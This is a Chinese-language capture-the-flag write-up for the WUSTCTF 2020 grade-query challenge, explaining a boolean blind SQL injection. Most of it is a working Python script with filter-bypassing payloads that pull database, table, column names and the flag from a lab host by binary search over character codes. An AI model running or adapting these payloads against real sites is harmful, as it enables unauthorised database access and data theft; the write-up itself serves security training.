[WUSTCTF 2020]颜值成绩查询
拿到题目一看,输入1-4都有学生成绩,想到可能是sql注入
首先先用burp fuzz一下过滤了些什么
结果如下
不像别的大佬wp所述,我这里空格的返回长和其他都是一样的,但是这个TRUE说明sql注入的方向确实是正确的,只能猜测一下过滤了哪些字符,然后找到空格是过滤了的,看到返回结果只有两种情况,尝试布尔盲注
脚本摘自白初&师傅,四个payload自己根据过滤修改
import requests
import time
url = 'http://cd82b63c-6c9a-46d7-8288-09fea5ba97f3.node5.buuoj.cn:81/?stunum='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "1/**/and/**/(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='*****')),%d,1))>%d)" % (i, tmp)
# 爆flag
# payload = "1/**/and/**/(ascii(substr((select(group_concat(******))from(******)),%d,1))>%d)" % (i, tmp)
r = requests.get(url + payload)
if 'admin' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2
flag += chr(tmp)
print(flag)
if begin == 32:
break
payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
解释一下这个payload %d是占位符,对应i和tmp,substr从数据库database()的第i位截取一个字符取其ascii值和tmp的值进行对比,如果为TRUE结合1整体为TRUE,从而观察网页输出试出库名,同理试出表名和内容
这里截取输出的判断依据是网页中有admin字段,这在之前的fuzz测试时体现出来了
最后四个payload全用一遍,在value中找到flag

268

被折叠的 条评论
为什么被折叠?



